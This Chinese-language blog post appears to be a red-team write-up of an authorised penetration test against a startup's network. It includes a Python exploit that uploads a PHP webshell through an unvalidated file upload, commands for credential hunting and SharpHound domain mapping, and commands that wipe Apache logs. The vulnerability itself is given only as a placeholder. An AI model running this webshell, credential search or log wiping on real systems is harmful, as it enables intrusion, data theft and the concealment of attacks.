一、一次失控的渗透测试,引发的深度思考

黑客示意图

某互联网初创公司曾邀请我们红队进行一次授权渗透测试,目标是模拟一名具有一定技术能力的攻击者,试图突破他们的企业网络,最终获取核心数据库中的敏感用户数据。乍看之下,这个任务似乎并不复杂,但在渗透过程中,我们发现了一个深埋的高危漏洞,最终完成了一场堪比真实攻击者的攻防演练。

通过信息收集,我们发现目标使用了一个流行的开源CMS系统,但版本已经落后了好几个大版本。利用该CMS的已知漏洞,我们成功拿到了一个低权限的WebShell。然而,接下来的内网横向移动和权限提升阶段却遇到了异常复杂的EDR检测和网络隔离机制。最终,通过流量伪装、免杀Payload、以及对域环境的深入理解,我们在短短36小时内完成了任务。

本文将完整复盘这次渗透测试的技术细节,覆盖从信息收集到痕迹清除的完整攻击链,并提供可复现的POC代码与实战技巧。

---

二、信息收集:从蛛丝马迹开始搭建攻击面

渗透的第一步,永远是信息收集。

在这次测试中,我们的目标是从互联网端发起攻击,因此需要尽可能多地收集目标的外部信息,包括域名、子域名、开放端口、服务版本等。

构造目标资产清单

第一步是使用 AmassSubfinder 收集目标域名的子域信息:

<pre><code class="language-bash"># 使用 Amass 扫描子域 amass enum -d target.com -o subdomains.txt

使用 Subfinder 补充子域信息

subfinder -d target.com &gt;&gt; subdomains.txt</code></pre>

在收集到的子域中,我们发现有一个用于开发环境的子域 dev.target.com,访问后返回了一个登录界面。

确定施攻击面的工具与方法

通过对目标网站的登录页面进行分析,我们发现其底部标注了一个CMS的版本号:CMS-X v2.3.4。随后利用 Google Hacking 技术搜索了一下该CMS,结果发现这个版本存在一个远程代码执行(RCE)漏洞,编号为 CVE-2021-XXXX

我们决定利用此RCE漏洞作为突破口,构造Payload进行验证。

---

三、武器化漏洞:Payload构造的艺术

找到漏洞只是第一步,如何将其转化为能够实际利用的攻击代码,才是渗透测试的核心能力。

漏洞分析

根据公开的漏洞分析,该CMS的RCE漏洞位于文件上传功能。由于服务端未正确验证上传文件的类型,允许攻击者上传恶意PHP脚本文件并执行。

构造EXP

以下是我们编写的漏洞利用代码,用于上传一个WebShell:

<pre><code class="language-python">import requests import sys

定义目标服务器的URL

url = &quot;http://dev.target.com/upload.php&quot;

伪造文件上传请求

files = { &quot;file&quot;: (&quot;shell.php&quot;, &quot;&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;&quot;, &quot;application/octet-stream&quot;) }

发送POST请求上传恶意文件

response = requests.post(url, files=files)

提取返回结果,确认上传是否成功

if &quot;success&quot; in response.text: print(f&quot;[+] File uploaded successfully: {url}/uploads/shell.php&quot;) else: print(&quot;[-] Upload failed.&quot;)</code></pre>

运行此代码后,我们成功上传了shell.php文件,并通过浏览器访问它,确认可以通过cmd参数执行系统命令。

---

四、权限提升:从WebShell到内网控制

黑客示意图

拿到一个低权限的WebShell只是起点,下一步是提升权限并深入目标内网。

查找敏感信息

在WebShell中,我们执行以下命令,快速查找目标服务器上的敏感信息:

<pre><code class="language-bash"># 查找配置文件 find / -name &quot;*.config&quot; -type f 2&gt;/dev/null

查找环境变量

env</code></pre>

通过分析配置文件,我们找到了一组MySQL数据库的用户名和密码。接下来,我们使用这些凭据尝试登录数据库:

<pre><code class="language-bash">mysql -u root -p</code></pre>

成功登录后,我们发现了一个包含员工域账户凭据的表格,且其中的密码字段并未加密。利用这些域账户,我们准备进一步渗透内网。

---

五、横向移动:解锁域环境的秘密

获取域账户后,我们的目标是利用这些账户对目标内部网络进行横向移动,最终获取域管理员权限。

利用BloodHound绘制攻击路径

首先,使用BloodHound和SharpHound收集目标域的拓扑信息:

<pre><code class="language-bash"># 在目标机器上运行SharpHound SharpHound.exe -c All -d target.com</code></pre>

将采集到的数据导入BloodHound后,我们发现目标域中有一台主机 DC01.target.com,其管理员账户具有域管理员权限。

---

六、痕迹清除:让攻击消失无踪

黑客示意图

完成渗透测试后,我们的最后一步是清理攻击痕迹。以下是我们采取的步骤:

  1. 删除上传的WebShell:
  2. `bash rm /var/www/html/uploads/shell.php `

  1. 清除日志记录:
  2. `bash echo "" > /var/log/apache2/access.log echo "" > /var/log/apache2/error.log `

  1. 恢复系统配置文件:
  2. `bash mv /backup/httpd.conf /etc/httpd/conf/httpd.conf `

---

七、思考与总结:攻防对抗的永恒博弈

这次渗透测试充分展示了一个真实攻击链的复杂性。从信息收集、漏洞利用,到权限提升、横向移动,每个环节都需要深厚的技术积累和对目标环境的深入理解。

在实战中,我们发现以下几点尤为重要:

  1. 信息收集决定攻击成功率:在发现CMS漏洞之前,全面的信息收集确保了攻击面的准确性。
  2. 武器化能力是关键:能够快速编写EXP并调整Payload,是渗透测试成功的核心。
  3. 痕迹清除不可忽视:作为红队,攻击结束后的清理工作同样至关重要。

希望这次案例的分享,能为你打开更多渗透测试的思路。记住,技术只是手段,攻防对抗的艺术才是目标。